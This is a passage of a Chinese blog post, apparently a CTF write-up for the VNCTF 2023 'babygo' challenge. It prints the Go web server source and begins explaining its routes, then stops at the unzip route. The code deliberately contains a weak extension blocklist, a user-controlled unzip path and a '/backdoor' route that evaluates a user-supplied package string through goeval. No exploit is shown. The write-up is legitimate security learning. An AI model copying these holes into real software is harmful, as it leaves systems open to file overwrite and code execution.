<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>VNCTF_babygo | FPoint</title><meta name="author" content="FPoint"><meta name="copyright" content="FPoint"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="referrer" content="no-referrer"><meta name="google-site-verification" content="MkLGnkhAK-VmuD2Wn8ALT9MDK6lnrnbCGEkGlSce1g0"><meta name="description" content="记一次go学习">
<meta property="og:type" content="article">
<meta property="og:title" content="VNCTF_babygo">
<meta property="og:url" content="https://fpointzero.github.io/2023/02/23/VNCTF-babygo/index.html">
<meta property="og:site_name" content="FPoint">
<meta property="og:description" content="记一次go学习">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://fpointzero.github.io/img/m1.jpg">
<meta property="article:published_time" content="2023-02-23T09:22:13.000Z">
<meta property="article:modified_time" content="2023-04-04T01:01:14.457Z">
<meta property="article:author" content="FPoint">
<meta property="article:tag" content="CTF">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://fpointzero.github.io/img/m1.jpg"><link rel="shortcut icon" href="/img/fav.jpg"><link rel="canonical" href="https://fpointzero.github.io/2023/02/23/VNCTF-babygo/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.min.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: {"path":"/search.xml","preload":false,"languages":{"hits_empty":"找不到您查询的内容：${query}"}},
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery/dist/fjGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: true,
  isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: 'VNCTF_babygo',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2023-04-04 09:01:14'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 5.4.2"></head><body><div id="loading-box"><div class="loading-left-bg"></div><div class="loading-right-bg"></div><div class="spinner-box"><div class="configure-border-1"><div class="configure-core"></div></div><div class="configure-border-2"><div class="configure-core"></div></div><div class="loading-word">加载中...</div></div></div><script>const preloader = {
  endLoading: () => {
    document.body.style.overflow = 'auto';
    document.getElementById('loading-box').classList.add("loaded")
  },
  initLoading: () => {
    document.body.style.overflow = '';
    document.getElementById('loading-box').classList.remove("loaded")

  }
}
window.addEventListener('load',()=> { preloader.endLoading() })

if (false) {
  document.addEventListener('pjax:send', () => { preloader.initLoading() })
  document.addEventListener('pjax:complete', () => { preloader.endLoading() })
}</script><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src= "" data-lazy-src="/img/atv.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="sidebar-site-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">3</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">2</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">1</div></a></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 主页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> 关于</span></a></div></div></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('/img/m1.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">FPoint</a></span><div id="menus"><div id="search-button"><a class="site-page social-icon search"><i class="fas fa-search fa-fw"></i><span> 搜索</span></a></div><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 主页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div><div class="menus_item"><a class="site-page" href="/categories/"><i class="fa-fw fas fa-folder-open"></i><span> 分类</span></a></div><div class="menus_item"><a class="site-page" href="/link/"><i class="fa-fw fas fa-link"></i><span> 友链</span></a></div><div class="menus_item"><a class="site-page" href="/about/"><i class="fa-fw fas fa-heart"></i><span> 关于</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">VNCTF_babygo</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2023-02-23T09:22:13.000Z" title="发表于 2023-02-23 17:22:13">2023-02-23</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2023-04-04T01:01:14.457Z" title="更新于 2023-04-04 09:01:14">2023-04-04</time></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="VNCTF_babygo"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"><i class="fa-solid fa-spinner fa-spin"></i></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><h2 id="babygo"><a href="#babygo" class="headerlink" title="babygo"></a>babygo</h2><p>这个题目确实挺baby的我初学者都能写</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;encoding/gob&quot;</span></span><br><span class="line">	<span class="string">&quot;fmt&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/PaulXu-cn/goeval&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/duke-git/lancet/cryptor&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/duke-git/lancet/fileutil&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/duke-git/lancet/random&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/gin-contrib/sessions&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/gin-contrib/sessions/cookie&quot;</span></span><br><span class="line">	<span class="string">&quot;github.com/gin-gonic/gin&quot;</span></span><br><span class="line">	<span class="string">&quot;net/http&quot;</span></span><br><span class="line">	<span class="string">&quot;os&quot;</span></span><br><span class="line">	<span class="string">&quot;path/filepath&quot;</span></span><br><span class="line">	<span class="string">&quot;strings&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> User <span class="keyword">struct</span> &#123;</span><br><span class="line">	Name  <span class="type">string</span></span><br><span class="line">	Path  <span class="type">string</span></span><br><span class="line">	Power <span class="type">string</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">	r := gin.Default()</span><br><span class="line">	store := cookie.NewStore(random.RandBytes(<span class="number">16</span>))</span><br><span class="line">	r.Use(sessions.Sessions(<span class="string">&quot;session&quot;</span>, store))</span><br><span class="line">	r.LoadHTMLGlob(<span class="string">&quot;template/*&quot;</span>)</span><br><span class="line"></span><br><span class="line">	r.GET(<span class="string">&quot;/&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		userDir := <span class="string">&quot;/tmp/&quot;</span> + cryptor.Md5String(c.ClientIP()+<span class="string">&quot;VNCTF2023GoGoGo~&quot;</span>) + <span class="string">&quot;/&quot;</span></span><br><span class="line">		session := sessions.Default(c)</span><br><span class="line">		session.Set(<span class="string">&quot;shallow&quot;</span>, userDir) <span class="comment">// shallow = /tmp/4b997ad5487153fba0162e525abd6b7d/</span></span><br><span class="line">		session.Save()</span><br><span class="line">		fileutil.CreateDir(userDir)</span><br><span class="line">		gobFile, _ := os.Create(userDir + <span class="string">&quot;user.gob&quot;</span>) <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob</span></span><br><span class="line">		user := User&#123;Name: <span class="string">&quot;ctfer&quot;</span>, Path: userDir, Power: <span class="string">&quot;low&quot;</span>&#125;</span><br><span class="line">		encoder := gob.NewEncoder(gobFile)</span><br><span class="line">		encoder.Encode(user)</span><br><span class="line">		<span class="keyword">if</span> fileutil.IsExist(userDir) &amp;&amp; fileutil.IsExist(userDir+<span class="string">&quot;user.gob&quot;</span>) &#123;</span><br><span class="line">			c.HTML(<span class="number">200</span>, <span class="string">&quot;index.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;Your path: &quot;</span> + userDir&#125;)</span><br><span class="line">			<span class="keyword">return</span></span><br><span class="line">		&#125;</span><br><span class="line">		c.HTML(<span class="number">500</span>, <span class="string">&quot;index.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to make user dir&quot;</span>&#125;)</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">	r.GET(<span class="string">&quot;/upload&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		c.HTML(<span class="number">200</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;upload me!&quot;</span>&#125;)</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">	r.POST(<span class="string">&quot;/upload&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		session := sessions.Default(c)</span><br><span class="line">		<span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">			c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">		&#125;</span><br><span class="line">		userUploadDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>) + <span class="string">&quot;uploads/&quot;</span></span><br><span class="line">		fileutil.CreateDir(userUploadDir) <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/</span></span><br><span class="line">		file, err := c.FormFile(<span class="string">&quot;file&quot;</span>)</span><br><span class="line">		<span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">			c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;no file upload&quot;</span>&#125;)</span><br><span class="line">			<span class="keyword">return</span></span><br><span class="line">		&#125;</span><br><span class="line">		ext := file.Filename[strings.LastIndex(file.Filename, <span class="string">&quot;.&quot;</span>):]</span><br><span class="line">		<span class="keyword">if</span> ext == <span class="string">&quot;.gob&quot;</span> || ext == <span class="string">&quot;.go&quot;</span> &#123;</span><br><span class="line">			c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;Hacker!&quot;</span>&#125;)</span><br><span class="line">			<span class="keyword">return</span></span><br><span class="line">		&#125;</span><br><span class="line">		filename := userUploadDir + file.Filename</span><br><span class="line">		<span class="keyword">if</span> fileutil.IsExist(filename) &#123;</span><br><span class="line">			fileutil.RemoveFile(filename)</span><br><span class="line">		&#125;</span><br><span class="line">		err = c.SaveUploadedFile(file, filename)</span><br><span class="line">		<span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">			c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to save file&quot;</span>&#125;)</span><br><span class="line">			<span class="keyword">return</span></span><br><span class="line">		&#125;</span><br><span class="line">		c.HTML(<span class="number">200</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;file saved to &quot;</span> + filename&#125;)</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">	r.GET(<span class="string">&quot;/unzip&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		session := sessions.Default(c)</span><br><span class="line">		<span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">			c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">		&#125;</span><br><span class="line">		userUploadDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>) + <span class="string">&quot;uploads/&quot;</span> <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/</span></span><br><span class="line">		files, _ := fileutil.ListFileNames(userUploadDir)</span><br><span class="line">		destPath := filepath.Clean(userUploadDir + c.Query(<span class="string">&quot;path&quot;</span>))</span><br><span class="line">		<span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">			<span class="keyword">if</span> fileutil.MiMeType(userUploadDir+file) == <span class="string">&quot;application/zip&quot;</span> &#123;</span><br><span class="line">				err := fileutil.UnZip(userUploadDir+file, destPath)</span><br><span class="line">				<span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">					c.HTML(<span class="number">200</span>, <span class="string">&quot;zip.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to unzip file&quot;</span>&#125;)</span><br><span class="line">					<span class="keyword">return</span></span><br><span class="line">				&#125;</span><br><span class="line">				fileutil.RemoveFile(userUploadDir + file)</span><br><span class="line">			&#125;</span><br><span class="line">		&#125;</span><br><span class="line">		c.HTML(<span class="number">200</span>, <span class="string">&quot;zip.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;success unzip&quot;</span>&#125;)</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">	r.GET(<span class="string">&quot;/backdoor&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		session := sessions.Default(c)</span><br><span class="line">		<span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">			c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">		&#125;</span><br><span class="line">		userDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>)</span><br><span class="line">		<span class="keyword">if</span> fileutil.IsExist(userDir + <span class="string">&quot;user.gob&quot;</span>) &#123;</span><br><span class="line">			file, _ := os.Open(userDir + <span class="string">&quot;user.gob&quot;</span>)</span><br><span class="line">			decoder := gob.NewDecoder(file)</span><br><span class="line">			<span class="keyword">var</span> ctfer User</span><br><span class="line">			decoder.Decode(&amp;ctfer)</span><br><span class="line">			<span class="comment">//</span></span><br><span class="line">			<span class="keyword">if</span> ctfer.Power == <span class="string">&quot;admin&quot;</span> &#123; <span class="comment">//</span></span><br><span class="line">				eval, err := goeval.Eval(<span class="string">&quot;&quot;</span>, <span class="string">&quot;fmt.Println(\&quot;Good\&quot;)&quot;</span>, c.DefaultQuery(<span class="string">&quot;pkg&quot;</span>, <span class="string">&quot;fmt&quot;</span>))</span><br><span class="line">				<span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">					fmt.Println(err)</span><br><span class="line">				&#125;</span><br><span class="line">				c.HTML(<span class="number">200</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="type">string</span>(eval)&#125;)</span><br><span class="line">				<span class="keyword">return</span></span><br><span class="line">			&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">				c.HTML(<span class="number">200</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;low power&quot;</span>&#125;)</span><br><span class="line">				<span class="keyword">return</span></span><br><span class="line">			&#125;</span><br><span class="line">		&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">			c.HTML(<span class="number">500</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;no such user gob&quot;</span>&#125;)</span><br><span class="line">			<span class="keyword">return</span></span><br><span class="line">		&#125;</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">	r.Run(<span class="string">&quot;:80&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<p>挨个分析路由</p>
<p>首先是/</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">r.GET(<span class="string">&quot;/&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">    userDir := <span class="string">&quot;/tmp/&quot;</span> + cryptor.Md5String(c.ClientIP()+<span class="string">&quot;VNCTF2023GoGoGo~&quot;</span>) + <span class="string">&quot;/&quot;</span></span><br><span class="line">    session := sessions.Default(c)</span><br><span class="line">    <span class="comment">// session中的shallow的值设置为userDir的值，并且保存这个session</span></span><br><span class="line">    session.Set(<span class="string">&quot;shallow&quot;</span>, userDir) </span><br><span class="line">    session.Save()</span><br><span class="line">    <span class="comment">// 用你的userDir创建一个目录</span></span><br><span class="line">    fileutil.CreateDir(userDir)</span><br><span class="line">    <span class="comment">// 在你的userdir里面创建user.gob文件</span></span><br><span class="line">    gobFile, _ := os.Create(userDir + <span class="string">&quot;user.gob&quot;</span>) <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob</span></span><br><span class="line">    user := User&#123;Name: <span class="string">&quot;ctfer&quot;</span>, Path: userDir, Power: <span class="string">&quot;low&quot;</span>&#125;</span><br><span class="line">    <span class="comment">// 对象序列化存入user.gob</span></span><br><span class="line">    encoder := gob.NewEncoder(gobFile)</span><br><span class="line">    encoder.Encode(user)</span><br><span class="line">    <span class="keyword">if</span> fileutil.IsExist(userDir) &amp;&amp; fileutil.IsExist(userDir+<span class="string">&quot;user.gob&quot;</span>) &#123;</span><br><span class="line">        c.HTML(<span class="number">200</span>, <span class="string">&quot;index.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;Your path: &quot;</span> + userDir&#125;)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">    c.HTML(<span class="number">500</span>, <span class="string">&quot;index.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to make user dir&quot;</span>&#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<p>然后是/upload路由</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">r.GET(<span class="string">&quot;/upload&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">		c.HTML(<span class="number">200</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;upload me!&quot;</span>&#125;)</span><br><span class="line">	&#125;)</span><br><span class="line"></span><br><span class="line">r.POST(<span class="string">&quot;/upload&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">    session := sessions.Default(c)</span><br><span class="line">    <span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">        c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    userUploadDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>) + <span class="string">&quot;uploads/&quot;</span></span><br><span class="line">    fileutil.CreateDir(userUploadDir) <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/</span></span><br><span class="line">    file, err := c.FormFile(<span class="string">&quot;file&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;no file upload&quot;</span>&#125;)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">    ext := file.Filename[strings.LastIndex(file.Filename, <span class="string">&quot;.&quot;</span>):]</span><br><span class="line">    <span class="keyword">if</span> ext == <span class="string">&quot;.gob&quot;</span> || ext == <span class="string">&quot;.go&quot;</span> &#123;</span><br><span class="line">        c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;Hacker!&quot;</span>&#125;)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">    filename := userUploadDir + file.Filename</span><br><span class="line">    <span class="keyword">if</span> fileutil.IsExist(filename) &#123;</span><br><span class="line">        fileutil.RemoveFile(filename)</span><br><span class="line">    &#125;</span><br><span class="line">    err = c.SaveUploadedFile(file, filename)</span><br><span class="line">    <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">        c.HTML(<span class="number">500</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to save file&quot;</span>&#125;)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">    c.HTML(<span class="number">200</span>, <span class="string">&quot;upload.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;file saved to &quot;</span> + filename&#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<p>代码没什么特别的，就是一个文件上传功能，过滤了.gob和.go文件，上传文件存放在/tmp/{userDir}/upload</p>
<p>然后是/unzip路由</p>
